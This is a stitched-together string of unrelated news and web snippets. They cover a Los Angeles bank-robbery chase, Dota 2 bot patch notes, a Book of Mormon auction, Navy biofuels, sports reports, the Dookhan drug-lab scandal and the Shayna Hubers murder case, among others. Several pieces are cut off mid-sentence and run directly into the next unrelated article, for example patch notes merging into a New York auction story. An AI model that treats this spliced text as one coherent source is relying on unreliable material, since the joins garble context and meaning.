The pursuit began in Canyon Country following a robbery at a Bank of America.
Around 10:50 a.m., the driver exited the southbound 110 Freeway and started heading west on Third Street away from downtown. Around 11 a.m., the suspects were zigzagging through the streets just west of downtown.
By 11:20 a.m., the vehicle was traveling through South LA.
More than a dozen times during the pursuit, what appeared to be handfuls of cash were thrown out of the backseat car window.
Onlookers were waving to the suspected bank robbers, apparently signaling for them to throw more money. At times, the vehicle had to navigate through a mob of people waving at the car.
Watch the most-viewed videos on NBCNews.com
Earlier, two people had jumped out of the vehicle on the 210 Freeway near Yarnell Street, said Capt. Mike Parker.
No injuries were reported, said Sgt. Daniel Stanley of the Los Angeles County Sheriff's Department in Santa Clarita.
This is the third police pursuit this week. On Tuesday night, a suspect |
.- Bots will now use couriers that are holding their items, even if the courier is currently returning to base.- Bots will only use couriers that are idle in base, so they shouldn't grab couriers as soon as they stop moving in, for example, the secret shop.- When a bot dies, if it had a courier en route, it will send the courier back to base.- Juggernaut is now more likely to use Omnisliash in teamfights, particularly when he thinks he can get all slashes on heroes.- Bots will no longer purchase items during the hero pick phase of the game.- Bots will no longer use any of their abilities on Passive difficulty.- Made Windrunner bot slightly more likely to use Powershot when ganking, and less likely to use Windrun for non-panic retreats.- Fixed bug that, under certain hero combinations, could cause lane selection to thrash.- Improved the Team Roam behavior, they should no longer clump up and get stuck, and should deal with any creeps attacking them.- Increased bot sensitivity to human pings for pushing and defending.- Increased range at which a non-carry bot will defer last-hitting to a carry bot. Non-hard-carries will now also deferNEW YORK — A first edition of The Book of Mormon printed in the upstate New York town linked to Joseph Smith's establishment of the Church of Jesus Christ of Latter-day Saints has sold at auction for more than $50,000.
Swann Auction Galleries in Manhattan says the rare 1830 edition was sold Tuesday for $52,500. The buyer's name was not released. The item had an estimated pre-sale price of $40,000 to $60,000.
The auction house says the first edition of the scripture of the LDS church was released just days before the church's official establishment in early April 1830.
It was published in Palmyra in western New York, where Smith had a family farm. Mormons believe Smith translated the Book of Mormon from metal plates he found in nearby hills.A major hospital in the Kunduz Province run by Doctors Without Borders (MSF) is temporarily closed to new patients after Afghan troops forced their way in, claiming they were looking for an injured patient they believed to be working for al-Qaeda.
MSF issued a statement slamming the move, saying it showed a lack of respect for the hospital, which is supposed to be safeguarded under international law. They said the troops “behaved violently toward staff” at the site, and ignored foreign doctors’ demands that they leave.
It is unclear at this point whether the Afghan troops, identified as part of the Special Operations forces, actually captured anybody during the raid, and they have refused to address the media at all about the operation.
Most international aid group-run hospitals in Afghanistan take all casualties and don’t ask questions. The Geneva Conventions are supposed to prevent military personnel from launching operations against medical facilities, but the US occupation forces did it a handful of times during the war, and now Afghan troops appear to feel justified in following their lead.
Last 5 posts by Jason DitzThe following article was written by Andrew Holland for Consumer Energy Report‘s free Energy Trends Insider newsletter.
Last Wednesday, the Green Strike Group sailed during the international Rim of the Pacific (RIMPAC) exercises off the coast of Hawaii. These exercises are the Navy’s largest of the year, and feature participants from around the world. The reason, however, that this is important to clean energy investors is that the Navy could act as a market maker for the struggling biofuels industry. If the Navy guarantees its market over the next decade, there will be certainty for biofuels companies to make the investments necessary to reach commercial scale.
The fuel being used by the strike group – other than the nuclear powered aircraft carrier – is a 50/50 blend of biofuel and traditional petroleum-based fuel. The Navy made the buy of 450,000 gallons of biofuel in December of last year, paying about $26 per gallon. This was the largest purchase of advanced drop-in biofuel ever. The Navy contracted with Dynamic Fuels (50% owned by Tyson Foods) and Solazyme to provide the fuel.
Going forward, there are two things that investors need to know:
1. Congressional Action
There is great uncertainty right now about the status of the Navy’s biofuels program because of recent Congressional action. It has become a target of Republican attacks in both the House and Senate Armed Services Committees. During Committee consideration of the FY2013 Defense Authorization bill, both committees passed an amendment that forbids the Department of Defense from purchasing fuel that is more expensive than traditional fuel, unless it is for testing and demonstration purposes. In addition, the Senate passed an amendment, sponsored by Senator McCain, which forbids the Department of Defense from directly investing in biofuels production facilities unless directly authorized by Congress.
Although biofuels supporters have pledged to fight this on the floor of the Senate before Congress leaves for recess in August, I am not convinced that there will be enough floor-time available to allow debate and a vote on this. In addition, when we see that Moderate fossil-fuel Democrats like Senators Manchin (D-WV) and Webb (D-VA) opposed biofuels in committee, I am not sure that the vote would be successful anyway. Like many things in Washington these days, this is an issue that will only be decided after we see what happens on November 6.
2. Federal Funding
Regardless of the Congressional action, the Department of Energy, the Navy, and the Department of Agriculture have gone ahead with their plans to use their authority – given by the Defense Production Act (DPA) to directly invest in biofuels production facilities this year. On July 2, these agencies announced in a Funding Opportunity Announcement (FOA) that they were making available $30 million in funding. This is the first tranche of a projected $510 million program, shared among the three agencies, projected to last the next three years. This $30 million investment will go forward, but as the program is subject to annual appropriations from Congress, future funding is very uncertain.
The FOA calls for government and industry to share the costs equally to build or substantially retrofit a commercial-scale biorefinery (more details from the FOAhere ). Although government contracting rules mean that we do not know which companies have applied, and we will not know who has received conditional approval for the investment until October 1, we can surmise those that are likely to be included. As mentioned above, Solazyme and Dynamic Fuels were the initial suppliers of the current Navy contract. Other companies that have been specifically mentioned repeatedly by those working on this issue, both inside and outside the government, include those as well as Gevo, Virent, and Honeywell.
This year’s $30 million grant is not the big prize, but the forthcoming $480 million more could mark a significant investment into commercial scale refineries. If Congress allows the program to go through, and if the Obama Administration returns for a second term, then that funding will be disbursed, and the selected companies will stand to see large investments into new production facilities.
Get your free subscription to Energy Trends Insider newsletter now.Köln -
Nur vier Spieler in der Bundesliga haben öfter getroffen. Anthony Modeste (28) ist mit seinen 14 Toren unter den Top-Torjägern – und obendrein die kölsche Lebensversicherung. Jetzt steht Tor-Tony im internationalen Rampenlicht!
China hat Modeste im Visier
Nach EXPRESS-Informationen gingen zuletzt mehrere Anfragen bei seinem Berater Marcus Marin aus Europa ein – aber eben auch aus Asien! „Ich werde darüber keine Auskunft geben“, blockt der Agent ab. Dementieren tut er die Asien-Anfrage aber auch nicht.
Klar ist: Modeste hat in drei Jahren Bundesliga mit dem FC und Hoffenheim 33 Tore geschossen. In jeder Saison traf er mindestens sieben Mal. Nun spielt er seine bislang beste Runde in Köln. Das ist in Europa – und auch in Asien – nicht verborgen geblieben.
Modeste kam erst im vergangenen Sommer, löste Anthony Ujah ab – und machte seinen Wechsel im Nu vergessen. 4,5 Millionen Euro zahlte der FC damals an Hoffenheim.
Geht nun der nächste Sturm-Tony? Jörg Schmadtke ist entspannt. „Das glaube ich nicht“, sagt der FC-Manager. „Ich habe kürzlich gelesen, wie er sich zum Klub bekannt hat. Deswegen gehe ich nicht davon aus. Wir werden es sehen, aber was kann man im Leben schon ausschließen?“
Kölns Lebensversicherung: Anthony Modeste imago/Chai v.d. Laage Foto:
Vor wenigen Wochen erst hatte Modeste ein Köln-Bekenntnis abgegeben. „Ich habe noch drei Jahre Vertrag. Meine Familie ist glücklich in Köln. Das ist wichtig für mich. Ich will beim FC bleiben“, hatte der Stürmer gesagt.
Waren da schon die Asiaten hinter ihm her? Denn ist es auch klar: Die China-Klubs wildern in Europa – locken die Stars mit Millionen-Angeboten. Jetzt gerät auch Modeste ins Visier!
Machen die Asiaten ernst, winkt dem FC eine hohe Ablöse und Modeste ein Mega-Gehalt – netto!It's been less than a month since Polaris acquired electric motorcycle manufacturer Brammo, and the first fruits of that partnership may have been revealed in a trademark filing for the Victory Charger.
The trademark, filed on January 27, is owned by Polaris Industries and titled "Victory Charger", with the description reading "Electric motorcycles and structural parts therefor".
Victory was created by Polaris back in 1997 as a competitor to Harley-Davidson, which is rumored to be putting its LiveWire electric motorcycle into production this year.
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Now that Polaris has Brammo's sweet IP to work with, an electric bike from one of Polaris' many brands is practically a given, but whether it will be a reengineered version of an existing bike or an all-new Victory is up the air – based on Victory's current lineup, we'd guess the latter.Before founding The Real Dill in 2012, friends Justin Park and Tyler DuBois shared a hobby: pickling.
"We were buddies and we were both making pickles for fun," says Park. DuBois has a culinary background and Park comes from a "foodie family," helping them think outside the box when it comes to pickling.
After DuBois made a particularly tasty batch out of "everything I had" in 2010, Park says the pair knew it was time to go pro.
"We refer to it now as a pickle epiphany," says Park. "We were just blown away. It was the crunchiest, most flavorful pickle I've ever tasted. We've been at it ever since."
The pair gave out jars of pickles to guests at Park's wedding in 2011, honed their technique and founded the company the following year.
The epiphany recipe evolved into Jalapeno Honey Dills, one of four varieties offered by The Real Dill, not including a spicy Bloody Mary mix made from formerly wasted cucumber water. Other flavors are Aji Chile Sour, Caraway Garlic and Habanero Horseradish.
Sales blew past expectations as of the first farmer's market in 2012. "We said, 'How are we going to keep up with this,'" says DuBois. They quit their day jobs, production runs jumped from 80 jars to 500 jars and they've hired two full-time employees at their commercial kitchen in southwest Denver, a.k.a. "The Brinery."
The Real Dill is on the forefront of a national micro-pickling trend, with distribution spanning 40 stores like Marczyk Fine Foods and about 10 restaurants, including Biker Jim's and Colt & Gray. And Great Divide Brewing Company will soon have its own Real Dill pickle. The launch party is slated for the taproom in late July.With NBA’s All-Star festivities approaching, Nicki Minaj, Mary J. Blige, Pitbull and others have added their names to the list of performers for the events scheduled to take place later this month in Orlando, Florida.
Minaj will start things off for the All-Star Game, performing a medley of songs as players are introduced. Mary J. Blige will follow with the U.S. national anthem. Pitbull and Ne-Yo will then team up for the halftime show.
The day before NBA All-Star Game, fans will be able to see Flo Rida and will.i.am of the Black Eyed Peas as both will perform at the Saturday night events. Those events include the popular Slam-Dunk Contest and more skills-based competitions.
J. Cole and Gym Class Heroes were also tapped for the weekend’s festivities. They will perform at the first ever All-Star pregame concert. J. Cole, Common and Ne-Yo will also play in 2012’s All-Star Celebrity Game.
NBA All-Star Weekend will take place from February 24-26.
RELATED: 2K Sports Reveals NBA 2K12 Soundtrack, Features Eminem, Travis Barker & MoreA Toast to the Patron Chefs of British Cooking.
The table’s set, the silver gleams
The guests all seated while food steams
The glasses charged and dishes ready
For one more moment hold it steady -
Remember that we’ve some to thank
So lift your glasses still undrank
And offer up a heartfelt prayer
To those whose footsteps brought us here.
Chef Oliver, the kind and sweet
Please make my menu choices neat
Keep me from dubious fried foods
Make sure I eat all my greens too
Chef Nigella - make me half as hot
As you when you’re pouring a shot
Of rum into your chocolate cake;
Please, do it for my husband’s sake.
Chef Ramsey - before you yell please pause
I beg you’ll ignore my cooking flaws
Don’t curse me out for choosing wrong
My willpower just ain’t that strong.
And all of you, who heed food’s call
Who love the bizarre and the droll
I dare not leave him off the roll
Remember great Chef Blumenthal!
There’s one who never claimed the chef
Who came before and now is left
A cookbook legend in the mist
Was Mrs. Beaton’s greatest gift.
And now we settle down to eat
Remember those who cooked the meat
And brought us from our lowly ways:
Oh Chefs, here’s cheers! You’ve got our praise!Contributors include: Margaret Peterson Haddix, Obert Skye, Alan Snow, Anne Ursu, Jane Johnson, Kai Meyer, Linda Buckley-Archer, D.J. MacHale, Scott Westerfeld, and Holly Black.
Margaret Peterson Haddix is the author of many critically and popularly acclaimed YA and middle grade novels, including the Children of Exile series, The Missing series, the Under Their Skin series, and the Shadow Children series. A graduate of Miami University (of Ohio), she worked for several years as a reporter for The Indianapolis News. She also taught at the Danville (Illinois) Area Community College. She lives with her family in Columbus, Ohio. Visit her at HaddixBooks.com.
Obert Skye was born on a stormy night in the back of a fast-moving taxi, in the middle of the week during an average-length year. He is the middle child in a family with an odd number of children. Obert’s interests include falling from great heights, devouring books, and fighting for Foo. He also likes the beach. The author of the bestselling Leven Thumps series, Obert travels around the world telling all who will listen about the importance of Foo. He currently lives in the United States in a place a bit colder than he would prefer.
Alan Snow is a well-known author and illustrator of children’s books and has also worked in many fields of design and animation. He has written two novels, Here Be Monsters! and Worse Things Happen at Sea!, both set in the wonderfully weird world of Ratbridge. He lives in Bath, England.
Anne Ursu is the author of The Shadow Thieves, The Siren Song, and The Immortal Fire, all books in the Cronus Chronicles series. She has also written novels for adults. Anne teaches at Hamline University's Masters of Fine Arts in Writing for Children for Young Adults. She lives in Minneapolis with her son and cats.
Jane Johnson is the director of HarperCollins UK's fantasy and
science fiction list and for many years was the publisher of J. R. R.
Tolkien's work. While she has written adult novels as both Gabriel King
and Jude Fischer, the Eidolon Chronicles is her first series for
children. Ms. Johnson lives in London and Morocco. Visit Ms. Johnson at
her website, www.janejohnson.eu.
Kai Meyer is the author of many highly acclaimed and popular books for adults and young adults in his native Germany. Pirate Curse, the first book in the Wave Walkers trilogy, was praised by Booklist as "a fast-paced fantasy featuring plenty of action and suspense." The Water Mirror, the first book in the Dark Reflections Trilogy, was named a School Library Journal Best Book, a Locus Magazine Recommended Read, a Book Sense Children's Pick, and a New York Public Library Book for the Teen Age. It received starred reviews in both School Library Journal and Publishers Weekly. School Library Journal has called Meyer "an expert at creating fantastical worlds filled with unusual and exotic elements." For more information please visit his website at www.kaimeyer.com.
Linda Buckley-Archer is the author of the critically acclaimed Gideon trilogy. Originally trained as a linguist, she is now a full-time novelist and scriptwriter. She has written a television drama for the BBC and several radio dramas, as well as various journalistic pieces for papers like the Independent. The Gideon Trilogy was inspired by the criminal underworld of eighteenth-century London.
D.J. MacHale is the author of the #1 New York Times bestselling Pendragon series and the Morpheus Road series. He has written, directed and produced many television series and movies for young people that have been seen on Nickelodeon, The Disney Channel, HBO, Showtime, PBS, Discovery Kids, and the broadcast networks. D.J. lives with his family in Southern California.
Scott Westerfeld is the author of the Leviathan series, the first book of which was the winner of the 2010 Locus Award for Best Young Adult Fiction. His other novels include the New York Times bestseller Afterworlds, the worldwide bestselling Uglies series, The Last Days, Peeps, So Yesterday, and the Midnighters trilogy. Visit him at ScottWesterfeld.com or follow him on Twitter at @ScottWesterfeld.
Holly Black is the author of bestselling contemporary fantasy books for kids and teens. Some of her titles include The Spiderwick Chronicles (with Tony DiTerlizzi), the Modern Faerie Tales series, the Curse Workers series, Doll Bones, The Coldest Girl in Coldtown, The Darkest Part of the Forest, the Magisterium series (with Cassandra Clare), and the Folk of the Air series. She has been a finalist for the Mythopoeic Award, a finalist for an Eisner Award, and the recipient of both an Andre Norton Award and a Newbery Honor. She lives in New England with her husband and son in a house with a secret door. Visit her at BlackHolly.com.The BBC is considering making an appeal against a court order which stopped it from broadcasting a dramatized film on last year’s riots in London.
The film, which features actors portraying anonymous rioters sharing their experience of the events, was due to be broadcast on Monday evening, but was banned by a court order hours before hitting the airwaves
Its script was written by award-winning playwright Alecky Blythe and is based on interviews from some 270 people conducted by the Guardian and London School of Economics as part of a study into the massive public disorder.
The first installment of The Riots: In their own Words focuses on rioters, while the second film of the two-part series shares the impressions of police officers on duty at the time.
Both were banned from being broadcast by a court ruling, which BBC lawyers now plan to appeal against, reports the Guardian. The newspaper says for legal reasons it cannot report the name of the judge who made the controversial ruling, the court in which it was done or the case he was presiding over.
Little detail was disclosed on the content of the ruling itself. The British newspaper cites it as saying: "It is ordered that the BBC programme 'The Riots: In their Own Words' due for broadcast on BBC 2 tonight is not broadcast by any media by any means until further order."
The ruling also ordered the BBC to remove a clip promoting the film from its website, which the broadcaster did. The clip, previously available on a blog posted last Friday, featured a BBC producer saying that the "important and illuminating" interviews in the drama would provide insight into "why and how the riots had happened".
After the court ruling arrived the BBC said it would put the program out at a later date. The film was part of the company’s package prepared for the coverage of the one year anniversary of the August 2011 riots in Britain.
What started as peaceful protest in Tottenham erupted into five nights of violence, looting and a subsequent police crackdown. Five people were killed and more than 2,500 shops and businesses damaged. Over a thousand people received jail for their part in the disorder.10 Tips to Clear the Clutter
Venu Gopal / Flickr
According to Sierra Club’s Dave Tilford, a child born in the US will create thirteen times as much ecological damage over the course of his or her lifetime than a child born in Brazil. That’s because Americans consume, on average, significantly more resources than other citizens of planet Earth.
Many Americans are questioning this habit of over-consumption and making efforts to downsize, minimize, and simplify. Here are some tips that will help you clear out the clutter and live lightly on the planet.
* “Respect Your Belongings”. This tip, from The Life-Changing Magic of Tidying Up author Marie Kondo is less an action, and more a perspective. When we buy lots of cheap products, we value them less. Be thoughtful about the things you bring into your life.
* Educate Others on Where “Stuff” Comes From. The Story of Stuff Project has lots of great videos and resource guides that explain why rampant consumerism is hurting people and the planet, and what we can do about it.
* Inventory and Cull. Courtney Carver of bemorewithless recommends putting your belongings in four categories: 1. Items you use and love; 2. Items you want to keep this but don’t know why; 3. Items that don’t fit your life or style; 4. Items that aren’t in good condition. Donate, repair, or recycle categories 2 through 4.
* Buddy Up. Paring down with a partner can help you both stick to your plan. Try the 30-day Minimalism Game or Project 333 with a friend or family member.
* Digitize. Books, music, videos, and photographs can all can be stored in digital format. For an easy DIY method, try an app like Google’s PhotoScan, or hire someone near you to go through all those shoeboxes and albums for you.
* Step off the Shopping Treadmill. Retail therapy is a powerful drug, but it often leaves us unsatisfied. After minimizing your belongings, don’t buy more unless it’s absolutely necessary. Here’s a creative way one artist resisted the urge to buy.
* Avoid Disposables. From bottled water to razors, coffee pods to take-out containers, we’ve grown accustomed to single-use items. Check out the Center for a New American Dream’s Conscious Consumer Guide for smart alternatives to throwaway products.
* Switch to Sharing. New apps make it easy to dispense with ownership altogether. From cars to tools to bikes, we compiled a list of the most common items people are sharing and how to take part.
* Practice Gratitude. Much of our compulsion to shop comes from feeling like we’re missing something in our lives. Keep a gratitude journal to cherish the things you already have.Oregon occupiers: Quit sending us dildos!
Jon Ritzheimer, 32, shows a family picture on his phone and a copy of the US Constitution to the media at the Malheur National Wildlife Refuge Headquarters near Burns, Oregon, Jan. 4, 2016. He is now unhappy how some of you have responded. less Jon Ritzheimer, 32, shows a family picture on his phone and a copy of the US Constitution to the media at the Malheur National Wildlife Refuge Headquarters near Burns, Oregon, Jan. 4, 2016. He is now unhappy... more Photo: ROB KERR, AFP/Getty Images Photo: ROB KERR, AFP/Getty Images Image 1 of / 63 Caption Close Oregon occupiers: Quit sending us dildos! 1 / 63 Back to Gallery
Dang it.
Here you are, saving the world for cheap grazing fees and from those dangerous birdwatchers and what sort of thanks do you get?
Dildos. Or as Jon Ritzheimer, an anti-Muslim activist is one of the men occupying the wildlife refuge in Burns, Ore., called them "a bag of dicks."
Shocking, we know, but the calls for supplies have been met with some pretty unusual offerings.
Ritzheimer called it "hate mail" in a Facebook post. Well, one man's hate mail might just be another's pleasant weekend, but we digress.
(Then, too, these guys are getting mail. Hmm, delivered by the federal government.)
Apparently he hasn't been paying attention at all the fun the Internet has been having with the occupiers.
Perhaps the donors have been reading installments of the "erotic novel" people have been contributing to and took it seriously.
But enough is enough. Ritzheimer knocks the stuff off a table and in a challenge worthy of a professional wrestler calls on patriots to join him.
Best leave those sex toys at home if you go.
Take a look:DALLAS -- There were the ways Kyle Korver usually contributes to the Cavaliers' offense, such as the three 3s he knocked down in the fourth quarter.
There were the new ways, such as his backdoor cut for a rare layup with 1:44 to go, or his soaring through the air for a defensive rebound and drawing a foul with 36.8 seconds left. Naturally, he made the two foul shots.
Any way you look at it, Korver's hands were all over the Cavs' 111-104 win over the Dallas Mavericks. All of his 13 points came in the fourth quarter.
"Well, Kyle is big time," said LeBron James, who found him with a precise bounce pass on Korver's cut to the basket. "He's someone that we rely on, especially when he's on the floor. He's just in the right place at the right time and hits big-time 3s. Also got an and-1 down the stretch. Just his movement, his body, his energy allows us to just keep defenses off kilter."
Korver's answers for each of his key moments are worth digesting.
On said layup, in which he dusted his defender and finished the play for a five-point lead, Korver said "I'm trying to cut more to the basket this year and not just float around the outside.
"There's been a couple games where there's been some layups," Korver said. "Man, you get three layups, that helps your shooting percentage so much it's amazing. If I got three layups every game... but anyway."
Korver's only shooting.463 from 3-point range this season and.523 overall. He's averaging 10.2 points off the bench.
On his key rebound, where he fended off Yogi Ferrell for the ball but crashed on his bottom and his right elbow on the play, Korver said: "That's why I try to stay down on the ground, let these other guys jump up there."
Korver is almost 37 and is in his 15th season.
"I think he kind of boosted me a little higher, I don't know how high it looked, but I think he boosted me a little higher than I was," Korver said. "My elbow's a little sore, my tail's a little sore, so hopefully tomorrow I'll be OK."
Korver also helps the Cavs in subtle ways. He's a de facto shooting coach, and at halftime was seen working with Jae Crowder, who was 0-of-5 through two quarters. Crowder converted a layup with 11 minutes left in the third quarter, and then at 8:35 drained a 3-pointer and pointed to Korver on the bench.
Korver told him at halftime his next 3-ball was going through the hoop.
"We shot a little bit and halftime and tried to talk through a couple things," Korver said. "It's one thing to just tell someone, 'You're going to make the next one.' I hate that. Don't you hate that? 'Keep on shooting, make the next one.' Yeah, whatever. When I do that, I think it's important to give something, too. Just a little technique, tinkering, not a big thing, just a little thing that you can kind of think about. Kind gives you, 'OK, I'm going to focus on this and now if I do this it's going to go in.'
"That's what helps me thinking about my mechanics if I miss a couple. 'But if I do this, the next one's going to go in.' So that's what I try to do, talk to guys and not just say, 'Be aggressive' and all that nonsense."
James has played nearly one full season with Korver, whom the Cavs acquired in a trade last January. James said his favorite thing about Korver is he's a "professional."
"I love professionals," James said. "Guys who come to work not on time, but early. Guys who work on their craft, work on their bodies, don't complain. Just being true professionals both on and off the floor. Who give you everything that they got. I can always give everything back to those type of guys and Kyle is one of those guys."The influence of Sydney's new defensively minded coach Graham Arnold is already obvious, with his team looking very solid in at the back. Victory has assembled one of the best attacking diamonds seen in the A-League with playmaker Guilherme Finkler feeding Archie Thompson and Ben Khalfallah out wide and Berisha looking to finish the work up front. But none could trouble Sydney's backline, where former Victory player Sebastian Ryall was excellent at right-back. That wasn't helped by the failure of Victory's Socceroos mid-field paring of Mark Milligan and Carl Valeri failing to impose themselves on the match. Neither player was able to find space to receive the ball from the backline thanks to Sydney's disciplined pressing, and both were cut up by Sydney's mid-fielders on the counter-attack. Serbian Milos Dimitrijevic meanwhile had an excellent game for Sydney in the mid-field, breaking up attacks, driving the team forward and generally controlling the game.
Victory struggled last year with a backline that continually leaked goals, and it would seem coach Kevin Muscat still has work to do. Right-back Jason Geria and central defender Adrian Leijer in particular, made a number of mistakes, Geria seeming to struggle with his footing on the uneven turf at South Hobart Stadium, although new defensive signing Matthieu Delpierre looked composed at centre-back. th minute goal. The central defender fluffed a clearance after an attack down the right flank, the ball landing at the Austrian striker's feet and Janko had no hesitation in putting it into the bottom corner of Nathan Coe's net. A few minutes later a Geria slip saw Janko find time and space in the box and the Austrian nearly doubled his team's lead, a sharp finish hitting the post and going out. Janko is a new signing at Sydney After the early goal, Arnold had his troops sit deep and try to defend the lead, attacking regularly on the counter.
th The 31-year-old Ben Khalfallah signed for Victory from French Ligue 2 side Troyes AC. He's still in need of match fitness but on this showing looks an impressive addition to Victory's already-potent forward line and was far more effective than the direct approach of Archie Thompson who he was subbed on for at half-time. The Tunisian was quick and made several intelligent runs, and most importantly showed great technical quality with several nicely hit passes and crosses. His draw-earning goal came entirely because of a Sydney error, with a slip by a Sydney defender allowing him to nick the ball and race towards Sydney keeper Ivan Necevski. But the finish – a neat sidestep to go round the on-rushing keeper before calmly rolling the ball into the back of the net – spoke of great composure. Club officials say Ben Khalfallah has impressed Victory's physios with his athleticism despite his advanced years and on this showing looks to add a dangerous new dimension to Victory's attack.The chart above shows the time to complete a criminal drug test. Each dot represents a single analysis, plotted by the date submitted on the X-axis and the number of days to finish testing on the Y-axis. The blue line is a monthly average of testing times. Data analysis and visualization by Chris Amico for WBUR.
In 2009, the U.S. Supreme Court ruled that chemists who perform criminal drug tests must be available to testify to their findings in person, under the Sixth Amendment’s right to confront one’s accusers.
The case, Melendez-Diaz v. Massachusetts, should have made drug analysis take longer — and for most chemists, it did.
An internal report by the Massachusetts Department of Public Health on the now-shuttered Hinton drug lab says Melendez-Diaz “significantly hindered the overall volume of testing at the Lab because chemists spent more time in court.”
Except for Annie Dookhan. From the report:
Despite the significant decrease in overall testing from 2008 to 2009 (a reduction of more than 16,000 samples), Dookhan’s productivity remained relatively stable, decreasing by only 305 tests assigned. In 2008, Dookhan completed 16.3% of all tests in the lab, 22.0% of the total in 2009, 31% of the total in 2010, as well as 24.7% of the total in 2011 despite only testing from January 1 to June 21. These indications should have prompted closer attention to her work.
As her throughput increased, the time it took to complete a drug test fell.
From 2003 to mid-2009, tests gradually took longer and longer to complete, peaking at around seven months, on average, for tests submitted in March 2009. After that, the tests got faster.
Tests submitted in December 2009 took an average of 141 days, or four-and-a-half months. In June 2010, it was 89 days. By December 2010, tests took 65 days.
“You scratch your head and say, ‘How could someone do that?’ ” said Tom Workman, a defense attorney and adjunct professor at the University of Massachusetts School of Law who did his own analysis of the drug lab’s data. “The obvious answer that comes to mind is they weren’t doing the work, they were dry-labbing, simply filling out the paperwork and not doing the work.”
In an interview with Massachusetts State Police, Dookhan admitted to dry-labbing for “two or three years” prior to June 2011, when she was then taken off testing duty.
Dookhan was by far the Hinton lab’s most productive chemist, according to the DPH report:
A review of the volume of sample assignment by chemists shows that between 2004 and 2011, Dookhan was consistently assigned (and presumably tested) more samples at the drug lab than any other chemist, exceeding her peers by as much as 50% more than as the second highest chemist.
In 2010, her throughput was nearly three times that of the next-most-productive chemist: She completed 10,933 tests, while the unnamed other chemist tested 3,839 samples.
Even in 2006, when Dookhan took about three months off work, she outpaced her next-best colleague by 50 percent.
The report shows that the Hinton lab leaned heavily on Dookhan’s productivity. Supervisors lauded her work ethic and assigned her an increasing share of tests.
“From January 1, 2004, through December 31, 2011, Dookhan was assigned 25.3% of all analyses in the Drug Lab and completed 21.8% of all tests conducted by staff,” the report said.
But the report’s authors said this should have been a warning sign: “Dookhan’s consistently high testing volumes should have been a clear indication that a more thorough analysis and review of her work was needed.”
Annie Dookhan far outpaced her colleagues at the Hinton drug lab, according to this chart from an internal DPH report. Investigators compared Dookhan’s testing volume to the next-most-productive chemist for each year, and to the lab overall.A CYCLIST'S 'wheelie' which lasted for about 180 metres has landed him in trouble with Bradford police.
The unnamed male rider was on his back wheel from the Kings Road traffic lights down Queens Road towards Manningham.
He performed the stunt at 3pm on Friday.
Police said that there was district's nuisance vehicle team was behind the cyclist on a motorbike and witnessed the rider 'weaving about' on the bike (pictured).
A police spokesman said: "He was stopped at the roadside and couldn’t really see what all the fuss was all about."
"That’s not acceptable on busy main roads with heavy traffic. He was reported for the offence of careless and inconsiderate cycling (section 29 Road Traffic Act 1988) and will be receiving a summons to attend court for his selfish manner of riding.
"There is a time and place for that, and Queens Road at 3pm is certainly not one of them."Photo by: The News-Gazette An examination of how many workers Champaign County's Top 25 employers in 2016 employ in 2017.
No surprise who leads off the list of Champaign County's top employers — the University of Illinois could lose 7, |
know? Someone that had a dark side?" Van Sant asked Wagner.
"No," she replied. "In the 10 years I knew him, never once raised his voice... he's always been the same; super nerdy, super sweet."
Ryan hoped Shayna had finally gotten the message when he told her he wasn't going to see her that weekend of Oct. 12, 2012. What he didn't tell her was that he had a date with a world class beauty, Audrey Bolte, Miss Ohio USA 2012, whom he also met on Facebook. But he did tell Wagner, a former beauty pageant contestant herself,who knew Bolte.
"She's very beautiful... very personable and all that kinda stuff, so Ryan was a perfect match for her," Wagner said. "He was really excited to go."
Ryan and Miss Ohio were supposed to meet at a bar that Friday night. But Shayna showed up at his condo, and Ryan never made it.
Shayna Hubers to 911: He beat me and tried to carry me out of the house and I came back in to get my things and he was right in front of me and he reached down and grabbed the gun and I grabbed it out of his hand and pulled the trigger. 911 operator: And how long ago did you shoot him? Shayna Hubers: I don't know, 15... 10, 15 minutes... not even that long. 911 operator: 10 or 15 minutes ago? Shayna Hubers: Yeah.
"Someone shooting someone and then waiting 15 minutes to call. That in itself was bizarre," said Lt. Dave Fornash, who, along with his partner, was the first to arrive on the scene.
911 operator: I want you to go to your front door. I want you to open it up; walk outside the door with your hands in front of you. Shayna Hubers: OK, I will.
"We instructed her to get on the ground," Lt. Fornash explained. "As I entered the apartment I saw Ryan Poston's body on the floor in the dining room, behind the dining room table."
Police escorted Shayna to the station knowing she had shot Ryan to death.
But was itto save her life? Or had she entered Ryan's condo with a plan to take his?
BIZARRE BEHAVIOR
Even seasoned investigators could never have imagined what would unfold in the hours after Shayna Hubers killed Ryan Poston.
From the moment Lt. Fornash brought her into that interrogation room, Shayna's behavior was bizarre.
"It was crazy... you just wouldn't believe it," said Lt. Fornash.
[Police video] Lt.Fornash:Do you smoke? Shayna Hubers:I will if I can.
"As he started to leave she started making noise as if she was crying or trying to cry or wailing," said Highland Heights Police Chief Bill Birkenhauer.
[Police video] Lt. Fornash: I'll be with you in just a second. You're fine.
"...and as soon as he walked outta the room she stopped immediately," Birkenhauer pointed out.
Chief Birkenhauer was immediately suspicious.
"Like a light switch," Van Sant noted of Hubers' behavior.
"Exactly," said Birkenhauer.
"And what are you thinking when you see that?" Van Sant asked.
"Right off the bat, I'm thinking that she's, you know, pretending," Birkenhauer replied. "She wasn't crying. No tears came out of her eyes."
Shayna was then read her rights.
[Police video] Shayna Hubers:I do want an attorney. Lt. Fornash:OK. So I can't ask you any questions at all.
And although she asked to see a lawyer, she found it impossible to remain silent:
[Police video] Shayna Hubers: I was so out of it... [Police video] Shayna Hubers: I was like, "It's in self-defense, but I killed him and can you come to the scene?" [Police video] Shayna Hubers: I was raised really, really Christian and murder is a sin.
"It just seemed like she was constantly just babbling," said Fornash.
[Police video] Shayna Hubers: "You have really pretty teeth. Did you have orthodontia?"
"She talked so much that, the officers were wanting to leave the room," said Fornash.
[Police video] Shayna Hubers:If I had to go to jail, can you shower there? Or do you just get really dirty?
"They were switching off so they wouldn't get burnt out," Fornash explained.
[Police video] Shayna Hubers:What are they gonna do with me? Male cop:I don't know. They just told me to come in here and sit with you.
Police video: Murder suspect talks and talks and talks
For almost three hours, Shayna told anyone who would listen about an alleged history of abuse by Ryan...
[Police video] Shayna Hubers: He's pulled guns on me as jokes before.
...leading up to a fight in which, she says, she feared for her life.
[Police video] Shayna Hubers:And I shot him in self-defense because he's done stuff before where I've hit my head on a headboard... Lt. Fornash:OK. Shayna Hubers:...and could've died!
But the more she talked, the more her words would come back to haunt her.
"This story never stayed the same," said Birkenhauer.
Beginning with exactly how Ryan's gun ended up in her hands:
